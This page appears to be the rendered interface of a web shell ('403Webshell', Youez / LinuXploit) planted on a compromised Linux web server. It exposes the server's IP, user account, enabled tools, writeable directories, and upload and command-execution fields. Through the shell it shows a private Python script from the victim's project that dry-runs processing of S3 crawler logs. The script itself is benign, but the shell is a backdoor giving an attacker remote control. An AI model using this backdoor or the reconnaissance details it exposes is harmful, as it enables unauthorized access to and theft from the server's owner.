403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/bsd-crawler-parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/bsd-crawler-parser//test_local.py
"""End-to-end dry run: reads REAL logs from S3, writes output to a LOCAL folder.

Nothing is written to AWS. Use this to eyeball the output before deploying.

    python3 test_local.py                 # 5 files -> ./local_out
    python3 test_local.py --files 20      # more files
    python3 test_local.py --out /tmp/foo  # different output folder
"""

import argparse
import json
import os

import boto3

from handler import LocalSink, SOURCE_BUCKET, SOURCE_PREFIX, run


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--files", type=int, default=5, help="max source files to process")
    ap.add_argument("--out", default="local_out", help="local output directory")
    ap.add_argument("--bucket", default=SOURCE_BUCKET)
    ap.add_argument("--prefix", default=SOURCE_PREFIX)
    ap.add_argument("--region", default="us-east-1")
    args = ap.parse_args()

    s3 = boto3.client("s3", region_name=args.region)
    sink = LocalSink(args.out)
    os.makedirs(args.out, exist_ok=True)

    print("reading  s3://%s/%s" % (args.bucket, args.prefix))
    print("writing  %s/  (local only -- no AWS writes)\n" % os.path.abspath(args.out))

    result = run(s3, sink, args.bucket, args.prefix, args.files)

    print("\n" + "=" * 60)
    print(json.dumps(result, indent=2))

    for date in result["dates"]:
        body = sink.get("summary/date=%s.json" % date)
        summary = json.loads(body)
        print("\n--- summary/date=%s.json ---" % date)
        print("  totals: %s" % json.dumps(summary["totals"]))
        print("  top platforms:")
        for platform, v in list(summary["by_platform"].items())[:10]:
            print("    %-22s %6d hits  [%s]" % (platform, v["hits"], v["category"]))
        print("  top sites:")
        for site, v in list(summary["by_site"].items())[:5]:
            print("    %-38s %6d hits" % (site, v["hits"]))

    print("\n--- sample event ---")
    for key in sorted(sink.list_keys("events/")):
        body = sink.get(key)
        if body and body.strip():
            print("  %s" % key)
            print(json.dumps(json.loads(body.splitlines()[0]), indent=2))
            break


if __name__ == "__main__":
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit